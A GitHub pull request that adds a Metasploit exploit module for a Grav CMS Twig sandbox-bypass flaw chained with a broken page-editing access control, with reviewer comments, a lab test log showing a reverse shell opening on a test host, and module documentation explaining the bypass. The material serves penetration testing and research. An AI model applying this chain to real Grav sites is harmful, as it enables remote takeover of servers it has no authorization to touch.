-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Add Grav CMS Twig SSTI Sandbox Bypass RCE Exploit Module & Documentation #20749
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
jvoisin
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
That's an impressively clean module, kudos!
modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb
Outdated
Show resolved
Hide resolved
28f93b5 to
5fcc33d
Compare
|
Appreciate it! Learned a lot from my last contribution here, glad there was some improvement 😅 Regarding the review comments, I've addressed both points in the following commits :
Let me know if these changes match what you had in mind. Happy to make any further adjustments if needed! Cheers! |
modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb
Outdated
Show resolved
Hide resolved
Co-authored-by: Julien Voisin <[email protected]>
Co-authored-by: Julien Voisin <[email protected]>
Co-authored-by: Julien Voisin <[email protected]>
modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb
Outdated
Show resolved
Hide resolved
|
Just implemented all the requested changes in the following commits : HttpClientTimeout handling (df9f546) - Use datastore option instead of hardcoded timeout value |
jheysel-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hey @nakkouchtarek, thanks for the contribution and for making those changes so quickly. Testing was as expected 👍
Testing
msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set rhost 172.16.199.136
rhost => 172.16.199.136
msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set username msfuser
username => msfuser
msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set password N0tcommon!
password => N0tcommon!
msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set rport 8000
rport => 8000
msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Grav CMS 1.7.49 is vulnerable
[*] Authenticating...
[+] Already authenticated
[*] Creating malicious form page...
[*] Triggering payload execution...
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.136:56382) at 2025-12-11 12:34:34 -0800
id
uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)
uname -a
Linux msfuser-virtual-machine 6.2.0-34-generic #34~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 13:12:03 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
Release NotesThis adds an exploit module for a Server-Side Template Injection (SSTI) vulnerability (CVE-2025-66294) in Grav CMS, versions prior to 1.8.0-beta.27 , that allows bypassing the Twig sandbox to achieve remote code execution. To inject the malicious payload into a form's process section, this module leverages CVE-2025-66301, a broken access control flaw in the /admin/pages/{page_name} endpoint. |
Description
This PR adds an exploit module for a Server-Side Template Injection (SSTI) vulnerability (CVE-2025-66294) in Grav CMS that allows bypassing the Twig sandbox to achieve remote code execution. The cleanDangerousTwig method uses weak regex validation that fails to sanitize nested Twig calls when using the evaluate_twig function, allowing attackers to register arbitrary PHP functions (like system) as Twig callbacks and execute system commands.
To inject the malicious payload into a form's process section, this module leverages CVE-2025-66301, a broken access control flaw in the /admin/pages/{page_name} endpoint that allows users with page editing privileges to modify the form's YAML frontmatter, including the process section that dictates post-submission behavior.
Affected Versions
Installation
To set up a vulnerable Grav CMS instance for testing on Linux ( Here using version 1.7.49 ):
Access
http://localhost:8000/adminto complete setup and create an account with page editing permissions.Verification Steps
use exploit/multi/http/grav_twig_ssti_sandbox_bypass_rceset RHOSTS [target]set USERNAME [username]set PASSWORD [password]checkOptions
USERNAME
The Grav CMS username. Requires an account with
admin.pagespermission.PASSWORD
The Grav CMS password.
FORM_NAME
Optional custom form page name. Random if not set.
Scenarios
Exploiting Grav CMS 1.7.49 to obtain a reverse shell